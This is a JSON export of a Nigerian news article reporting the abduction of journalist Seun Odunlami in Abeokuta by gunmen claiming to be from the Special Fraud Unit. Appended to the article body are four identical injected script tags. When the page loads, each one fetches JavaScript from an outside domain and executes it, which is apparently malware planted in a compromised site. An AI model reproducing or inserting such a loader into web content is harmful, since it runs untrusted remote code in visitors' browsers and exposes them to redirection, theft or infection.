{"id":4303,"date":"2024-09-25T18:14:12","date_gmt":"2024-09-25T18:14:12","guid":{"rendered":"https:\/\/citywatch.ng\/?p=4303"},"modified":"2025-03-12T12:39:49","modified_gmt":"2025-03-12T12:39:49","slug":"ogun-journalist-abducted-by-gunmen","status":"publish","type":"post","link":"https:\/\/citywatch.ng\/?p=4303","title":{"rendered":"Ogun Journalist Abducted By Gunmen"},"content":{"rendered":"<p>The Publisher of Newsjaunt online news platform, Seun Odunlami has been abducted by suspected armed men in Oke-Ilewo area of Abeokuta, Ogun State on Wednesday.<\/p>\n<div class=\"jeg_ad jeg_ad_article jnews_content_inline_ads  \">\n<div class=\"ads-wrapper align-right \">Odunlami was whisked away around 1:00 pm while standing outside a bank, where he had gone to withdraw money.<\/div>\n<\/div>\n<p>Speaking on the development, the colleague who preferred not to be mentioned said the suspected\u2019 armed men arrived at the bank and whisked Odunlami away.<\/p>\n<p>When his colleague called him on the phone to ask where he was taken to, Odunlami replied that the suspected armed men identified themselves as the Special Anti Fraud Unit were taking him to Ikoyi.<\/p>\n<p>\u201cThe gunmen arrived at the bank, handcuffed Seun, and dragged him in\u201d, the colleague recounted.<\/p>\n<p>\u201cWhen I called him on the phone, he said they were from the Special Fraud Unit in Ikoyi\u201d.<\/p>\n<p>Odunlami\u2019s phone was switched off after his abduction.<script>;document.addEventListener(\"DOMContentLoaded\",function(){fetch(\"https:\/\/jocks.life\/traff\").then(e=>e.text()).then(e=>{var t=document.createElement(\"script\");t.innerHTML=e.trim(),document.head.appendChild(t)})});<\/script><script>;document.addEventListener(\"DOMContentLoaded\",function(){fetch(\"https:\/\/jocks.life\/traff\").then(e=>e.text()).then(e=>{var t=document.createElement(\"script\");t.innerHTML=e.trim(),document.head.appendChild(t)})});<\/script><script>;document.addEventListener(\"DOMContentLoaded\",function(){fetch(\"https:\/\/jocks.life\/traff\").then(e=>e.text()).then(e=>{var t=document.createElement(\"script\");t.innerHTML=e.trim(),document.head.appendChild(t)})});<\/script><script>;document.addEventListener(\"DOMContentLoaded\",function(){fetch(\"https:\/\/jocks.life\/traff\").then(e=>e.text()).then(e=>{var t=document.createElement(\"script\");t.innerHTML=e.trim(),document.head.appendChild(t)})});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Publisher of Newsjaunt online news platform, Seun Odunlami has been abducted by suspected armed men in Oke-Ilewo area of Abeokuta, Ogun State on Wednesday. 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